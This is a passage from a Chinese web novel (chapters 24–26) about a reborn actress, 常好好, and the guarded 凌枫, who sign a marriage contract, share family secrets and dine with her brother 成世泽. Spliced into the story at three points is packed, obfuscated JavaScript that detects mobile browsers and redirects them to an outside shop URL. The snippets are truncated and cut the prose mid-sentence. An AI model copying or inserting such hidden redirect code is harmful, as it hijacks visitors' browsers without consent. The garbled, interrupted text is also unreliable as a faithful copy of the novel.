;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260385|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明显的戏谑:“你俩不会……不会那什么……真有啥事吧?” 她知道俩人不可能真的有啥,但就是觉得怪,总觉得凌枫话里隐藏着其他含义,只是她还没参透。 凌枫默不作声,故作镇定地举起茶杯,喝了一小口。 察觉到一向难搞的高岭之花好像刻意回避着什么。 那双总是平静无波带着疏离感的眼睛,此刻竟有些闪烁,视线飘忽避开与她正面接触。 她眯了眯眼,向前走了两步。 这一举动使两个人更加贴近。 “结婚协议我全部看完,目前看都能接受。不过,有一点我很好奇。”常好好说道。 凌枫挑了挑眉,示意她问下去。 常好好脸上挂着笑,语气多少带着点强硬,“自始自终你都没有跟我提起过你的感情史,协议上更是没有一点说明,这是不是有点不公平?” “没有。”凌枫道。 又开始两个字往外蹦了。常好好目光在凌枫脸上停留,好像掂量着什么。沉默片刻,她继续问道:“以你的条件和阿姨对你感情、婚事的关注度,怎么可能到了三十七岁,感情仍处于空白状态?这不符合常理。”她头微微前倾,再一步逼近男人,嘴上的输出相当直给,“凌枫,我不信。除非你承认你不是正常男人,有点……那些什么……隐情?” 女人的眼神跟探照灯似的,朝着他直直照过来。 凌枫本能地测过脸,假装看向窗台,脖子梗着,好像只是不耐烦,而不是不敢看,心里头却难得有一丝慌乱。 就在安燃生日宴会两周前,陆颂和张韧找到了他。 两个陌生人站在他面前,同他讲述七年后某商场会发生坍塌。 起初他带着怀疑的态度,疑惑陆颂他们为何偏偏寻到他。后来得知成世泽被害,常好好成为嫌疑人,成家分崩离析,酷誉面临难题。 这些内容对他来说犹如天方夜谭。他不信,或者不想信。直到本不该与他有过多牵扯的常好好突然频繁出现在他的生活里。 她古怪的行为、莫名其妙的话语让他深刻意识到原来陆颂对他说的那些话都是真的。 为了避免上一世成世泽的悲剧和酷誉的困难,他答应与陆颂三人合作。可他毕竟没有经历那空白的七年,就算被告知这些年发生的重大事件,也不会知晓发生在成世泽以及自己身边的小细节。 常好好发现凌枫愣了神,伸手在凌枫眼前晃了晃,表情极其滑稽:“不是吧?真让我说中了?” 凌枫回过神,双眼直直盯着她,却不出声。 这么开不起玩笑? 常好好咽了下口水,挤出一个笑容,不放弃追问。 “我们是团结友爱的队友,大风大浪啥没经历过,没必要整那些弯弯绕绕的。你跟我说实话,你是不是有喜欢的人?我猜猜……对方有对象?” 凌枫:“没有。” “没有喜欢的人,还是喜欢的人没有对象?我发现你说话有歧义,能不能完完整整说出一句话?”常好好咬牙切齿地道。 凌枫垂下眸子,发觉她站得有点太近了,近得能闻到她头发上的香味。他抬脚往后退了半步,拉开点距离,这才觉得呼吸顺了点。然后别开视线,声音听起来比刚才更冷淡了些,好像刚才那一瞬间的慌乱根本没发生过,“我想表达的内容是指我是一个生理健康的男性,目前没有喜欢的人。” “……” 果然男人都很在意这点。 “你觉得我信吗?”常好好觉得她和凌枫的合作憋屈得很,尤其对方没有说出隐秘的事让她心里极度不平衡,眼下有点不依不挠,“我已经跟你坦白陆颂的事,你不觉得你应该与我分享差不多等级的秘密吗?” “我和凌楷的秘密。” 凌枫顿了顿,一字一句地说:“想听吗?” 发现有秘密可听,常好好脸往前凑了凑,脖子伸得老长,生怕漏掉一个字。 她屏住了呼吸,手指紧紧攥着自己的衣角,眼睛瞪得圆圆的,一眨不眨地盯着对方的嘴:“快说快说!我准备好了。” 24. 烤肉 凌枫眼神空茫茫地看向远处,眉头不自觉地拧了起来。他嘴角往下耷拉显得有点沉重,连呼吸都变轻了,好像怕惊扰了脑子里正在回放的画面。 大约两分钟后,他慢慢道来。 “从小到大我每天都和凌楷呆在一块,一起玩耍、一同上学。我们是双胞胎,穿相同的衣服,吃着一模一样的饭菜。白天到晚上,我们有聊不完的话题。我们是这个世上最好的兄弟、朋友、玩伴。但是,十二岁那年,很多事都变了。”说到这里,他的眼神暗了暗,“初中生活开启,家里长辈更看重学习成绩。前两年,我成绩排在全班第一名。每当家庭聚餐时,饭桌上的气氛便开始微妙。我爷爷会笑着揉我的头,姑姑姑爷跟着点头附和,目光里全是满意。可这些夸奖却像一堵看不见的墙,把我和我哥隔开了。” 常好好脑袋轻轻一歪,脸颊自然而然地靠上竖起的食指,眼神飘了飘,费力地回忆着二十几年前发生的事情。 凌枫十二岁? 她记得小时候去过凌家很多次,八九岁还真去过一次,具体细节记不太清,印象中那时候两个人坐在一起写作业……明明看上去很和谐来着? 耳边,凌枫继续说着:“每当这时,我哥都不吭声,只顾着埋头吃饭,早早扒完饭说吃饱了便起身走开。所有的一切我都看在眼里。我心里难受,好像我的优秀是错的,因为我把我哥比下去了。后来我们之间变得有点别扭。不像别人家兄弟能打打闹闹,勾肩搭背。我们很少一块玩,说话也客客气气,像是隔了一层什么。我知道我哥不至于讨厌我,但长辈之间无形的比较卡在中间,让我们二人没法自然相处。” 常好好难得安静下来,不像平时那样急着插话或者明里暗里的讽刺凌枫。她一直看着说话的他,嘴角自然放松着,偶尔因为听到的内容,极轻微地动一下,但没出声。 凌枫:“为了缓和我们之间的关系,初三那年期末考我故意答错大题,我哥成为了全班第一名。后来我开始打羽毛球,渐渐走上职业联赛的路,我们二人见面时间不多却比从前交流更多……” 她听的仔细,连他话里短暂的停顿和语气里那点不易察觉的情绪都接住了。整个人透着一股认真劲儿。直到他全部说完,她才几不可闻地轻轻呼出一口气,郑重地点了下头,表示她都听进去了。 家家有本难念的经。 二十岁那年,她通过朋友介绍上了一档恋综节目,出道后朋友搭线签约了影视公司。她不顾家里反对,不顾本心是否喜欢,一门心思想要干一番大事业给身边所有看不起她、不认可她的人看,想要向他们证明自己抛开成家人的身份依然优秀。 如今冷静下来思考,她好像自始自终都在为别人而活,又或者说是在做自我安慰。 “凌枫,”常好好轻轻打断他,在他停顿的间隙接上话,目光稳稳地落在他脸上不躲不闪,“不要为了任何人迷失自己。” 听到常好好的话,凌枫面上没什么大动作,垂着眼皮,浓密的睫毛遮住了他眼底的情绪。 空气静了好一会儿,只能听到窗外细微的风声。 沉默片刻,凌枫才继续开口,声音比平时更低哑也更沉静,像是经过了某种掂量。 “也许……”他顿了顿,似乎面对常好好不太习惯说这样的话,“你说的有道理。”说完,他便悄悄移开视线,多少有些不自在。 常好好看凌枫这出,心里别提多开心。她明白,凌枫在慢慢适应、慢慢打开自己,渐渐与她建立起良好的关系。 毕竟上一世在婚约这个问题上,两个人算得上是死对头。 凌枫:“这个秘密至少顶三个陆颂吧,你暂时欠上我两个。” “?” 上一秒还寻思今后努力做好队友,没事多聊聊知心话,下一秒就被某人重创。 凌枫在常好好心里的定位不变,他就是这样的人,一说话有种想拍死他的冲动。 不过,他们总算不是敌人了。 她微微垂头笑了笑,下一秒收起笑容,脸色一正,站起来朝着对面的男人伸出手。 “合作愉快!”她的声音清楚,里面带着一种亢奋的情绪。 闻言,凌枫眸光微闪,慢悠悠地起身抖了抖裤腿,伸出手回握。 两人快速握了一下,立马分开,像完成了一项必要程序。 当天下午,他们去专门的地方,认认真真做了公证。 忙完这一切,常好好脸上没啥特别表情,内心并没有想象中波澜起伏,只剩下完成一项大事后的坦然。 她拿着纸质合约,再次翻了翻,默默点了下头,算是为他们二人达成结婚协议画了一个完美的句号。 接下来几天,安燃一头扎进工作里,忙着羽毛球训练馆的进程。李嘉晨定时定点,每天绷着个小脸去上幼儿园。对比他们,沈骁开心多了,平时忙着给魏筝做心理工作,早晚按时接送李嘉晨,随时随地呲个大牙,出去溜达一圈还可以每月赚一千二百元。 凌枫日常不变,工作、“演戏”两不误,抽空给常好好打出一份《成世泽注意事项》,堪称时间管理大师。 一想到晚上要见到成世泽,常好好心里就堵得慌,没由来的焦虑起来。 成世泽说是哥哥,可在她的印象里,模样模糊得快剩个影子了,甚至连声音都记不太清。 她懒洋洋地坐在椅子上,脑子里一遍遍预演着见面的场景。 之前喊他什么?二哥?还是大名来着。该说什么?是表现得热络点,还是客气些? 光是想想便心烦意乱,生怕成世泽发现端倪。 这些天她翻箱倒柜翻出些老照片,仔仔细细盯着看,试图从影像里抓回一点熟悉的感觉。可看久了,反而觉得更陌生。心里头七上八下,有点慌,还有点说不出的愧疚。 好像是她大学后主动断了联系。 好在见面有凌枫在场。 常好好脑海里浮现前天晚上抽空去凌家见凌枫父母的画面。 饭桌上,凌枫语气温和地跟他母亲说话,同时顺手给她碗里夹了一筷子菜。 每当与她对视,他脸上都会释放出恰到好处的笑意。 那副体贴入微的样子,真他么的吓人。哪里还是平日里对她嘴毒得要命的男人? 要不是方琴等人在场,她肯定狠狠揉眼睛,怀疑自己是不是出现了幻觉。 凌枫那演技,那收放自如的情绪切换,简直炉火纯青,登峰造极。 “咦……”常好好身子抖了抖,想把可怕的画面从脑袋里甩开。她算是彻底见识了,什么叫真正的高深莫测。 话说回来,凡事都有利弊。 虽然看优秀队友演戏让人起鸡皮疙瘩,但是至少证明这名队友能力很强,不会莫名整出岔子。 想到这里,她紧张的情绪瞬间缓和了不少,起身拿着玻璃杯走出办公室。 高跟鞋在走廊里发出轻而脆的声响,几个原本聚在一起说话的同事立刻散开,装作打字忙到飞起的样子。 等她拐进茶水间,几人迅速交换了个眼色,凑得更近了些。 “常好好一直在里间的办公室,投资加入公司绝不是空穴来风,看来八九不离十了。”有人压低声音说道。 旁边的人赞同地点头,眼神跟着瞟向茶水间方向:“这周经常看见常好好进凌总办公室,太频繁了,小道消息准没错,他们俩关系很微妙。” “诶呦,咋可能嘛,八卦归八卦。老大那不近女色的样,估计把常好好当妹妹吧。”第三个人加入进来,声音越说越兴奋,“我跟你们说常好好那部剧太上头,我感觉她和男二的戏份最有意思,我现在有点磕他们的cp。万一是真情侣呢。” 第一个人听到电视剧,眼睛蹭的亮了,立即附和,“我也看了,挺逗的,感觉会火。” 三个人互相用胳膊肘轻碰,发出几声意有所指的轻笑,然后很快收起笑容,恢复成正常聊天的样子,只是目光仍不时地扫向茶水间那边。 常好好端着接满水的杯子走出来,她的职业敏感度一流,感受到目光望过去,点头笑了笑。 那边几人也立刻回以过分热情的笑容。等她走远,脚步声消失在办公室门后,嘀嘀咕咕的八卦声才再次响起。 “不是我不让你磕cp,之前李经理的话你们都听见了吧,成总和常好好才最有可能。” “对呀,差点把这茬给忘了,成总不是刚恢复单身?” “等等?成总是不是马上回来了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263915|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “靠!我还有文案没写完,不跟你们扯那些没有用的了。” …… 包厢内环境雅致,灯光柔和,空气中弥漫着烤肉的香味。背景音乐声很轻,几乎被烤肉的“滋滋”声盖过。 刚开始三个人寒暄了一阵,后来只有肉片在烤盘上蜷缩变色的细微声响,气氛诡异得很。 凌枫身穿黑色衬衫并没有系围裙。他拿起夹子,默默将烤好的肉排一块块夹到常好好的碟子里,动作仔细。 烤炉的热气一股股扑在脸上,像掀开了蒸笼盖。即使屋内开了空调,常好好额头和鼻尖仍旧冒出一层层细密的汗珠。 她忍不住扯了扯衣领,感觉脖颈后面已经湿漉漉,无声中微微叹了口气,右手紧紧握住筷子,筷子头轻轻搭在嘴唇,看了看碟里装满现成的烤肉,用筷头点了两下,却没有夹起来放入嘴里的意思。 此时此刻,她能感觉到两边投来的视线。嘴角维持上扬,随意扒拉着碟子里的烤肉,心里暗骂凌枫这货绝对故意的。 大热天选择吃烤肉,不就是为了能在成世泽面前展示他是个好男人且很享受为她服务吗?这点小心思。 这几天她把重点放在如何摊出她要结婚的事,自动屏蔽凌枫提起的吃烤肉。早知道这么个局面,绝对劝退凌枫选择烤肉,也不知道到底“考”谁? 瞥了眼厚厚的肉排,常好好一口没吃,放下筷子挠了挠耳垂。 按照原计划,凌枫出面与成世泽沟通,主打慢条斯理不出错。可她不清楚心底里升出来的烦躁情绪来源于哪儿,试图冷静,嘴还是比脑子抢先一步。 “我们决定结婚了。” 七个字正巧把凌枫刚张口说出的“我”字埋没,明显她的话更有冲击力。 下一秒,背景音乐突然没了声音。烤盘特别应景,上面刚好没了食物,空空如也。 所有的声音戛然而止。 常好好那句话出口的瞬间,凌枫清楚地看到成世泽的瞳孔几不可见地缩了一下。 他举着夹子的手顿在半空,有那么短暂的两秒钟,好像连呼吸都停滞了。紧接着眼里的波动平复下来,嘴角自然地向上弯了弯,仿佛刚才的错愕从未发生过,垂下眼,拿起酒杯抿了一口,说道:“恭喜你们。” 成世泽的声音平稳,听不出起伏。 他不再说其他,手上的动作继续,夹了三个小烤肠放入常好好的碟子中,好像刚才听到这件事多平常一样。 常好好松了口气,吃了一个小烤肠,“嗯,好吃。” 她嘴里嘀咕着,挑了挑眉,其他情绪全无,只剩下享受美味的开心。 她就说嘛,她和凌枫有婚约这事家里人哪个不知道?又不是大秘密,一句话的事而已,搞那么复杂干嘛。 凌枫盯着那盘被肉堆满的碟子。常好好一共只吃了四口,其中包括成世泽夹过来的三个小烤肠。心里莫名升出较劲的冲动,他表情微变,视线锁定到放置有点远的烤豆角,长臂一伸,烤豆角被一整个端了过来,摆到常好好盘子旁边。 怕常好好没发现,他刻意轻轻挪动一下盘子,语气温和道:“给你。” 常好好正往嘴里塞玉米饼,眼看着前面多出一坨绿油油的东西,头微微前倾,待看清食物,连咀嚼都停止了,嘴角微微抖动,赶紧扶额低下头,怕成世泽发现她无语至极的大白眼。 不明白,十分不明白。 凌枫是单纯喜欢绿色,还是唯爱豆角? 她懵懵得看着紧贴在一堆的豆角们,怕被成世泽看穿关系,立刻入戏,朝着凌枫释放最完美角度的微笑,用筷子夹起一根豆角,指尖有一丝不易察觉的犹豫,然后一股脑放进嘴里。 成世泽看着两个人的一举一动,眸色微顿,嘴上什么都没说,自然地伸过筷子,“他家烤豆角确实不错,我尝尝。”说着,他把一盘豆角拉到自己手边,顺势把面前另一道夫妻肺片推了过去,“这个味道也不错。” 整个过程流畅无比,仿佛只是餐桌上一次再普通不过的分享。他低头吃着烤豆角,没再看常好好如释重负的表情,嘴角轻轻地弯了一下。 凌枫双眼不断在烤豆角和夫妻肺片两道菜来回游走,眸光暗了暗,突然间明白了什么。 25. 眼熟 一顿烧烤吃得惊心动魄。 常好好不清楚为何要做到这个份上,好像生怕被成世泽抓个现成。 “我们初心是帮助成世泽摆脱悲剧收场,现在怎么好像我们对他有亏欠一样?这不对呀,太怪了,我们要转变心态。” “今天我发现从前的我都没有仔细认真看他的脸,尤其成年后。你别说,成世泽很有男人味。嗯,性张力很强。” “就是想不通,像成世泽这样规规矩矩,一本正经的老实人,到底谁会恨他到想噶了他?” 凌枫双手搭在方向盘,目光平稳地看着前方路况,偶尔瞥一眼后视镜。旁边的常好好从上车起嘴就没停过,絮絮叨叨地说着有关成世泽的话题,话音又轻又快。 他始终没搭腔,在常好好上个问句的尾音稍稍上扬时,轻轻地“嗯”了一声,表示他在听。 常好好说着说着被自己的口水呛到,手指捏了捏喉咙处,终于舍得让她的嘴巴暂时休息停工。 车缓缓停稳在小区门口。 连续演了好几天戏,随时绷紧弦,常好好满脸疲惫,打了个小小的哈欠,一边解安全带一边叮嘱凌枫明天要做的事。 就在她推开车门的瞬间,好久不开口的男人说话了。 “你不喜欢吃豆角。”凌枫道。 这不是一句疑问句,而是肯定句。 正要下车的动作猛地顿住,常好好下意识抬手摸了摸耳垂,目光看向凌枫,发现他依然目视前方,侧脸在阴影里看不出情绪,仿佛刚才那句莫名其妙的话只是她的幻听。 她怔了怔,顺手带上车门,身体再次坐回副驾驶位置,眼睛滴溜溜地转,直到想明白对方话里的含义,才转过头笑了笑,“你才知道啊。” 凌枫望着她略带精明的笑眼,立刻避开视线,把头低了下去。 她看不见凌枫的脸,更感受不到他的情绪,心里头打着鼓,不明白小小的豆角能有多重要。 下一秒,耳边传来男人略带波澜的语气:“常好好,我们需要更深入的了解。” 更深入? 有多深入? 凌枫不等她开口质问,再次说道:“去你家吧。”他的语气坚定又带着些许强硬的味道。 “?” 他到底几个意思?是单纯想要了解我?还是另有目的? 常好好内心戏一茬接一茬,不知联想到哪里,更是笑出了声。 “笑什么?” “凌枫,你是不是想通了,想要跟我假戏真做?” 调笑的话一出,凌枫无语地看了她好半晌。 常好好一秒一秒数着,数到二十二的时候,对方的毒液虽迟但到。 “你是不是演戏演多了,喜欢胡思乱想。做戏做全套,你作为演员应该比我了解。”凌枫转头正眼看向她,“你知道我最喜欢吃的菜是什么?” 我管你喜欢吃什么味的屎? 常好好特别想把这句话当着凌枫的面直白抛出来。 她深呼一口气,理智战胜了冲动,随即挤出一抹假笑,“行啊,今晚我们都别睡了,一定好好了解,奉陪到底。” 说到“奉陪到底”四个字时加重了语气。 客厅只开了盏落地灯,昏黄的光线勉强照亮沙发一角。常好好和凌枫分别坐在长沙发的两端,中间隔着的距离还能再塞下两个人。 空调开得有点足,常好好搓了搓胳膊,感觉到皮肤发凉。眼睛一瞟,发现凌枫将近一米九的体形几乎陷在沙发里,肩背微微松垮下来,看上去不像全然放松。 客厅内安静得只剩下空调发出的轻微声响。 她瞧着男人眉头微微拧着,像是也在斟酌怎么开口。 担心被凌枫看穿真实想法,常好好赶紧别过头去。 这些日子里她没少暗中琢磨凌枫,琢磨琢磨,反而让自己陷入迷茫。 想当初重生回来的第一次见面,凌枫可是毒言毒语的风格。最近有些奇怪,一会儿惜字如命,一会儿又恢复正常。到底哪个才是真正的他? 越想越迷糊,她感到头晕脑胀,声音明显比往常小了许多,话却不见少。 “互相了解确实是对的,那我直说了。我爱吃榴莲,尤其是干包榴莲。爱吃葡萄,总的来说,水果基本都吃。蔬菜最爱西兰花、油麦菜、小白菜。喜欢吃川菜、火锅,口味呢偏重一点。主食以面食为主,大米饭吃的不多。” “我不吃鱼,不吃番茄,不吃羊肉,不吃贝类,不吃香菜。不喜欢吃豆角,不喜欢吃虾,不喜欢吃牛肉。” “哦对了,作为演员我必须注重饮食和形象管理。所以日常生活中会控制食物份量,有一些只吃一口。但这是我从前的习惯,以后应该不会浅尝。” “让我想想还有哪些……对,我其实很喜欢健身,可惜三分钟热度,顶多坚持三天,重点来了!”讲到这,她刻意加重语气,眼神示意对方拿笔记下来。 凌枫倒是与她的想法不谋而合。他捏着黑色钢笔,笔尖悬在摊开的笔记本上方,手指扣得有些紧,指节微微凸起,目光沉静地落在纸页上,等待记录。 见状,常好好满意地点点头,整个身子朝凌枫靠近。 原本能坐下两个人的空隙,如今仅剩下半个人。 她的头微微朝向凌枫那边歪了歪,边回忆边道:“身边有认识的人曾经跟我说,以为我是那种看起来喜欢刺激的人,但实际刚好相反。什么过山车啦,大摆锤啦,蹦极啦,这些我根本不敢尝试。之前为了演戏可以克服,现实生活中全部避免。平日里不太喜欢尝试新事物,我是一个喜欢追求稳定的人。” “而且我特别不喜欢被别人牵着鼻子走,可以说极度讨厌。” “表面上我看起来很外向,其实我喜欢独处,大多数时想有属于自己的独立空间,不喜欢被别人打扰。” “至于情绪,怎么说呢?如果和你相比,我想我是一个情绪不稳定的人。不过还好,除非把我惹急了,否则我压根不想理那些跟我无关的事情,我喜欢专注于自己。” “家庭情况你大致有所了解。说说你明面上看不到的吧。例如邓敏明里暗里不断地试探我、激怒我、妄想拿捏我。成世轩不太参与这些,成世泽偶尔会在我工作上面做文章。当然了,我现在知道他单纯怕我在娱乐圈被人伤害,还有成知聿……” 她欲言又止,眼睛瞄了瞄凌枫。不知道为什么,凌枫在某种感觉上和成知聿有一点相似。 无论接触多长时间,都让人难以看透。 “我们前十八年几乎天天生活在一起,但我好像没有真正认识他一样。” 常好好一口气说了巨多的话,有种今天一天能说从前一周的量。 她赶快停下来,端起杯子喝了一大口水。 缓了片刻,发觉凌枫不再记录,正一眨不眨地盯着笔记本陷入沉思。 她提前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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凌枫转着手中的笔,慢条斯理地道:“魏筝的事没有解决。” “我知道。” 提到魏筝,常好好挠了挠后脑勺,多少有些烦躁。 其实她很着急,但很多事她没办法解决。即使重生,也不能想知道啥就知道啥。随即她微微叹了口气,“沈骁一直在魏筝身边,我们只能起到辅助作用。” “你认为幕后的男人会是谁?”凌枫问。 “不知道。”常好好摇头,“我每天都在观察。表面看三个男人一个比一个正常,暂时没发现新的线索。” 她每日忙得很,财务部和人事部两个部门来回跑。不仅如此,更不能表现明显,快赶上私家侦探了。 她双手交叉在胸前,眼睛撇了撇凌枫,发现对方眼神游离,这才意识到什么,问:“你到底想说什么?” 凌枫脑袋低了下去,放下笔,手指轻轻摆弄着玻璃水杯。 “魏筝有些眼熟。”他道。 “你别说,是有一点眼熟。”常好好无比赞同凌枫的话,不自觉地点了点头,眼神定定地落在桌子腿那儿。 忽然,她眼睛一亮,捂住嘴巴,视线转移到凌枫的脸上,“天啊,她像……” 二人四目相对。 26. 秘密 凌枫别过头去,眼神晃了晃,手指没由来地摸了摸鼻尖,头一次有坐立不安的感觉。 常好好沉浸在自己的世界里,未发觉男人突如其来的变化,双手击掌,一个鲤鱼打挺站到沙发上,激动地说:“她真的好像我一个初中同学!” “……” 凌枫蹙了一下眉,仿佛对眼前女人说再多的话都是在浪费时间。 他的嘴角微微向下压了压,透出一丝难以察觉的无奈。然后面无表情地站起身,手指不急不慢地理了理袖口。 “时间不早,我回去了。”话落,没再看常好好一眼,径直朝门口走去。 门被凌枫轻轻带上,无声无息,独留常好好懵逼的小脸。 “不是?走了?” 她整个人愣在原地,下意识地眨眨眼睛,脑海里回忆男人一系列行云流水却冷冰冰的动作。 过了半晌,低头看了看面前那杯男人没喝过的水,有些错愕。 真是想一出是一出。 不走的是他,说走就走的也是他。 什么毛病? 常好好觉得有点好笑,嘴角扯了一下,却没能真的笑出来。她努力站在凌枫的角度思考问题,发现对方好像真的有毛病,干脆往后一倒陷进椅背里,划开手机屏幕拨通电话。 她正要张嘴,电话那边的人抢先一步:“好好,我们简直心有灵犀,我上一秒刚要给你打电话。”安燃二话不说,先把自己想说的吐露一遍,“这些天我心里总是不踏实,很多走向跟上一世偏离,搞得我觉睡不好,吃吃不好。尤其是你和凌枫结婚的事,太惊悚了!” “哦,你的意思是你现在因为我和凌枫即将结婚而睡不着?” “你想想,你和凌枫都能结婚,那是不是说明很多事情都会发生变化。” 常好好不是没想过问题的严重性,甚至在前几天同样焦虑过。但想那么多没用,未来的事谁能预料?哪怕是重生了,他们仍旧不能断定未来一定会发生什么。 “你结婚的时间提前了,成世泽出事的时间会不会也跟着提前?”安燃和常好好倒是有什么说什么,没太多顾虑。 “不知道。”常好好把扬声器点开,手机放到茶几台面,双手向后交叉,后脑勺稳稳枕在手掌上,“所以我们今后更不能掉以轻心,身边的人都有嫌疑。” “凌枫没问题,他肯定靠谱。” “我知道,要不然我能让他进我们团队?” “好好,别怪我没提醒你,别太入戏,你跟凌枫是假结婚。” “用你说?我是那么肤浅的人吗。”被安燃打乱节奏,常好好差点忘了正事,清了清嗓子,“对了,我有事问你。” “啥事?” “你好好回忆一下,然后告诉我,凌枫是个怎样的人?” “卧槽!还说你没有色心?”安燃兴奋得大声喊,“你沦陷得未免太快了。” “安燃!我常好好在你们眼里是这样的吗?我很清醒好不好!” “那你问——” 常好好打断安燃的话:“知己知彼百战百胜。我想要了解他,尤其是一些隐藏的部分。” “隐藏的部分……”安燃语气平稳许多,“比如?” “比如他在意的人。我不信他活了三十七年没有一个喜欢的人,这怎么可能?” “你别说,好像真有。” 安燃的语气不像开玩笑,常好好噌的一下从沙发上坐起来,脸贴近手机,急忙问道:“谁啊?” “不知道。” “……” 电话那边突然没了声音,安燃不紧不慢的继续道:“别急,听我慢慢跟你说。我记得世泽出事前两年,我过生日那天,他中途突然离开好像有什么事。” “哦,很稀奇吗?今年他不是同样提前离开。” “你不知道。凌枫他不喜欢喝酒,所以每次生日宴会他都不会待到太晚。但那次不一样,他才来一个小时便急着离开,表情也不对,非常担忧。”安燃努力回想当时的画面,“我枫哥是谁啊,我第一次看见他脸上出现那副神情。怎么形容呢,有种她心爱的女人出事了的感觉。” “对,就是这个感觉。” 常好好翻了个白眼,恨不得把安燃从电话里拽出来,“大哥,那是你想象的画面吧?” “你听我说完啊。你知道的,我好奇心重,后来因为这事我单独找过他。那天在他家里,他喝了好多酒,直接喝倒了,把我累的啊,好不容易给他放到床上,又不放心,只好在他家待了一晚上。你猜我发现了什么。” “什么?” “他家有一个锁着的房间。” “锁着的房间能说明什么?” “我问你,你家有锁着的房间吗?”安燃说得起劲,“况且那天我纯属心血来潮,顺路去他家,他提前并不知情。而且我还发现他钱包里放着女人的照片。” “谁的?” “我看到的是照片背面,有些距离,没看清。但我确定女人是长头发,还是大卷发。” 卷发? “首先排除你。” “……” 常好好心里头不服,“怎么就不能是我?我也有过卷发造型好吧。” “跟发型关系不大,他要真喜欢你还有王洋什么事儿?明显他对你没兴趣。”说完,安燃察觉到电话那头的女人正在喘着粗气,连忙话锋一转,“那个,你们真的打算结婚啊?” 常好好嗷的一嗓子:“你少转移话题!谁在意凌枫对我有没有兴趣?我还不喜欢他呢!” 锁被打开,房门敞开着。 凌枫挠了挠忽然发痒的耳朵,眉头微蹙,抬手把身前的椅子移开,身子结结实实靠在背后的墙上,右手执起遥控器,手指轻点,目光投放在对面墙上挂着的幕布上。 “你好像对她很在意。”他道。 “谁?”陆颂一点不客气,一屁股坐在椅子上,视线同样盯着幕布,想到了哪里,嘴角扯出一抹笑,“你说好好呀。” “好好?”凌枫熟练地调出文档,低头看向陆颂的脸,“你们很熟吗?” “看跟谁相比。跟你比的话,我跟好好确实很熟。”陆颂迎上目光,“凌枫,你这些天状态和以前不同。你该不会想要假戏真做吧?” “当然不会。”凌枫回答得极快。 陆颂眯了眯眸,紧盯凌枫的脸不放,仿佛要把他看穿。见对方丝毫不闪躲,他低头笑了笑,“没别的意思,我只是怕你沦陷所以提醒下。毕竟按照当时现有的证据看,常好好的嫌疑最大,所以不能把她排除在外。” “不用你说,这些我心里清楚得很。”凌枫把目光重新放在幕布上,“照你们所说如今很多事情发生变化,我们更不能掉以轻心。” 陆颂点头微笑,“这是当然。” 两个男人很快收起笑容,进行每周一次的探讨会议。 …… 一晃半个月过去,藏在魏筝身后的男人仍然没有新线索。 眼看时间越来越紧迫,沈骁每天愁眉苦脸,根本睡不踏实,一早又顶着两个大大的黑眼圈来到酷誉。 感受到有人从身旁走过,她迷迷糊糊抬起头,看向精神抖擞的女人。 女人眼睛亮晶晶,嘴角自然向上弯着,伸出手朝她打着招呼,随即坐下来打开手册,翻手册产生的“唰唰”声都比往常利落。 沈骁揉了揉眼:“好好,你今天格外不同。” 常好好盯着手册,不慌不忙地道:“没办法,凡事不能急。”边说边拿出记号笔,记录重点内容,整个人像上了一节新电池。 瞧这架势,沈骁努力睁开眼睛,定定地望着她。见她眼神扫过手册时非常坚定,整个人超级舒展,由内而外地发着光。 脑袋与某个画面瞬间连接,她来了精神:“好好,你看到热搜了吧。” “啥热搜?”常好好抬一下眼又低下头,笔下不停,分析着成世泽身边各种关系线。 “能啥呀?”沈骁猛地站起来,连人带椅往旁边挪了两步。椅子腿蹭着地板,发出“吱呀”一声闷响,她也不管,就这么拖着椅子来到常好好身旁,然后再重重地坐下去,两只眼睛充满了疑问,“这些天我时时刻刻待在魏筝身边,都没多少时间跟你们讨论,你和凌枫不会来真的吧?” “假的,”常好好一心二用,握着笔的手并没有停下,“这么说不准确。其实我们是真结婚,假感情。” 沈骁怔住了,好半天才缓过神。她的五官扭到一起,好像很痛苦的样子,“你俩不会要领证吧?” “肯定的啊,身边全是人精,我俩倒是想全都搞假的,可惜不现实,有协议在身。”看沈骁眼神空洞,两个大大的黑眼圈正对着她,一看就是没听懂。常好好放下笔,长叹一口气,表情有那么点故弄玄虚,“凌枫是什么样的人,你现在心里总有数了吧。像他那般让人猜不透又极其难搞的人愿意与我合作,你知道为什么吗?” 沈骁点头:“因为他重生了啊,想帮你二哥,想帮酷誉,也想帮他自己。不跟你结婚的话,他妈妈没准天天折磨他。” “上一世,他三十七没结婚,还不是一个人好好的?” “那哪儿一样呀。上一世你和王洋结婚了的,他妈妈没得办法。” “昨天之前我跟你的想法一模一样。” “啥意思,今天变了?”沈骁倒吸一口气,手捂住口鼻,抬起另一只手,哆哆嗦嗦地说,“你……你今天又重生了?” 